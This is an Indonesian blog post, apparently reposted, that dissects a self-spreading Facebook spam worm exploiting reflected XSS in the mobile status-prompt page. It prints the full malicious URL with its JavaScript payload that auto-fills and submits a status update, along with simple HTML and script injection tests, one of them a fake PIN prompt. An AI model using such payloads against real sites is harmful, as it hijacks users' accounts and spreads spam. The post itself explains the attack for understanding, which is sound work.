Hari
ini saya menyadari ada yang tidak beres dengan status teman-teman
facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link
bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel
ini saya akan membedah teknik penyebaran status berantai tersebut.
Analisa
Mari
kita mulai analisa kita dengan mengambil sample satu URL jebakan,
yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik
akan melakukan redirect ke url aslinya, yaitu:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
URL tersebut akan saya pecah menjadi 3 bagian:
-
http://m.facebook.com/connect/prompt_feed.php
-
?display=wap&user_message_prompt=
-
'<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagian
pertama adalah URL untuk update status. Bagian kedua adalah query
string parameter yang terdiri dari dua parameter, yaitu display dan
user_message_prompt. Bagian ketiga adalah isi dari parameter
user_message_prompt yang merupakan payload javascript untuk mengubah
status secara otomatis.
The Prompt
Sebelum
masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk
tampilan dari URL untuk mengubah status ini. Gambar ini adalah
screenshot ketika browser membuka URL:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status
Dari
gambar di atas kini kita memahami fungsi dari parameter
user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user
mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi
judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”,
“Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan
mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan
perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya
user_message_prompt diisi dengan murni teks saja berupa
instruksi/petunjuk apa yang harus diinputkan user. Bila parameter
user_message_prompt berisi teks murni saja, maka tidak ada yang perlu
dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode
HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<font color=red><h1>Hello!!</h1></font>
Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihtGDehQ7fSjS_iYCVDJHGpHK3vzLPeDkYVwKSGoq5LzIGdmpu4RG1Z8pldW3txezdOlRAqu9xn02CkU7-nMN-9nJfH2EovcLdXCsfubvJYj6VcDeupj6SFWn_5uEW0a_3dgbvXo3q_mM/s320/Hacked.jpg"/>
Bagaimana
bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi
diisi dengan kode javascript? Mari kita coba memasukkan javascript
sederhana berikut ini:
<script>prompt("Enter your PIN");</script>
Kita
sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi
dengan normal teks, namun juga bisa diisi dengan kode HTML dan
javascript yang dieksekusi browser. Ini adalah vulnerability yang
disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS
(karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai
response HTTP).
The Payload
Dalam
contoh sebelumnya kita mencoba memasukkan javascript sederhana yang
hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa
dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng
seperti mengubah status, sampai yang serius seperti seperti mencuri
cookie korban atau take-over komputer korban dengan mengeksploitasi
kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload.
Attacker bebas memasukkan payload apa saja yang dia inginkan seperti
mengubah status, mencuri cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:
user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagi
pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote
(‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya
adalah tidak perlu sama sekali. Saya melihat semua yang membuat url
sejenis ini dalam payloadnya selalu ada karakter single-quote di depan
tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar
mengerti apa yang terjadi, karena dia mencontoh orang lain memakai
single-quote, maka diapun ikut memakai single-quote.
Payload
untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah
payload untuk mengubah status di facebook secara otomatis:
Onload
adalah event yang terjadi bila suatu halaman web selesai di-load.
Baris pertama pada kode di atas artinya meminta browser untuk
mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai
diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana
untuk mengubah nilai textarea message dan melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.
Langkah
terakhir adalah memanggil fungsi submit() untuk melakukan submit form.
Jadi sangat sederhana cara untuk mengubah status secara otomatis,
cukup dua langkah saja, mengisi message dengan isi status, lalu submit,
status pun selesai diubah.
Varian Lain dengan IFRAME
Saya
juga menemukan varian lain yang memakai iframe. Varian ini lebih
berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah
melakukan pengubahan status berulang kali. Salah satu teman facebook
saya menjadi korban freesmsvoip.com sampai berkali-kali.
sumber : http://tutoriallku.blogspot.com/2011/09/memahami-teknik-penyebaran-status.html
Tidak ada komentar:
Posting Komentar